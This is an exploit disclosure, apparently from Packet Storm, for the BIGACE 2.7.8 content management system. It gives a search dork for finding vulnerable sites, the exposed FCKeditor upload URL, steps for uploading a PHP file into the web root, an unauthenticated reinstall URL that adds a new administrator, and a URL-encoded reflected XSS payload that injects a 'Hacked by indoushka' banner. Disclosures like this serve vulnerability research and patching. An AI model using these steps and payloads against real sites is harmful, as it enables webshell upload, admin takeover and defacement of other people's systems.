BIGACE 2.7.8 Cross Site Scripting / File Upload

2015-06-17T00:00:00
ID PACKETSTORM:132338
Type packetstorm
Reporter indoushka
Modified 2015-06-17T00:00:00

Description

                                        
                                            `| # Title : BIGACE 2.7.8 Multi Vulnerability  
| # Author : indoushka   
| # email : indoushka4ever@gmail.com   
| # Dork : Powered by BIGACE 2.7.8. Login  
| # Tested on: windows 8.1 Français V.(Pro)   
| # Download : http://www.bigace.de/  
=======================================  
  
FCKeditor Upload :  
  
http://127.0.0.1/bigace278/addon/FCKeditor/editor/filemanager/browser/bigace/frmupload.php  
  
Upload Vulnerability :  
  
pre-installer script will help to upload Ev!l.php and the uploader rename it to evil.php to webform_oo.php  
find it at http://127.0.0.1/bigace278//webform_oo.php  
  
Reinstall script add new admin Vulnerability :  
  
http://127.0.0.1/bigace278/misc/install/index.php?menu=4&LANGUAGE=en  
  
( XSS / HTML Inject ) :  
  
http://127.0.0.1//bigace278/misc/install/index.php?LANGUAGE=en&menu=2%27%22%28%29%26%25%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E  
  
Greetz :   
jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/  
Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net  
---------------------------------------------------------------------------------------------------------------  
`